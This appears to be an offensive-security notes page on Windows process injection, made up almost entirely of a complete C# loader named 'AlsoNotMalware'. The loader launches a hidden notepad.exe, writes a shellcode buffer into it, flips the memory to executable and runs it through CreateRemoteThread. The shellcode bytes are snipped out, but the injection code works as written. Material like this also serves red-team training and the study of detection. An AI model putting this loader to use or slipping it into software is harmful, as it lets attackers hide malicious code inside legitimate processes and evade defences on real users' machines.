Process Injection
Last updated
Last updated
Technique where attackers copy their code into the address space of a target process and then execute it.
VirtualAllocEx to allocate space in the memory of the target process for our shellcode
WriteProcessMemory to write our shellcode into that allocated space
CreateRemoteThread to execute the shellcode in the target process
using System;
using System.Runtime.InteropServices;
namespace AlsoNotMalware
{
internal class Program
{
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
internal struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
uint dwFlags;
ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public const uint PageReadWrite = 0x04;
public const uint PageReadExecute = 0x20;
public const uint DetachedProcess = 0x00000008;
public const uint CreateNoWindow = 0x08000000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
//Shellcode
byte[] buf = {<SNIP>};
// 1. Create the target process
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
uint flags = DetachedProcess | CreateNoWindow;
CreateProcess(IntPtr.Zero, "C:\\Windows\\System32\\notepad.exe", IntPtr.Zero, IntPtr.Zero, false, flags, IntPtr.Zero, IntPtr.Zero, ref startInfo, out procInfo);
// 2. Allocate RW space for shellcode in target process
IntPtr lpBaseAddress = VirtualAllocEx(procInfo.hProcess, IntPtr.Zero, (uint)buf.Length, 0x3000, PageReadWrite);
// 3. Copy shellcode to target process
IntPtr outSize;
WriteProcessMemory(procInfo.hProcess, lpBaseAddress, buf, buf.Length, out outSize);
// 4. Make shellcode in target process's memory executable
uint lpflOldProtect;
VirtualProtectEx(procInfo.hProcess, lpBaseAddress, (uint)buf.Length, PageReadExecute, out lpflOldProtect);
// 5. Create remote thread in target process
IntPtr hThread = CreateRemoteThread(procInfo.hProcess, IntPtr.Zero, 0, lpBaseAddress, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}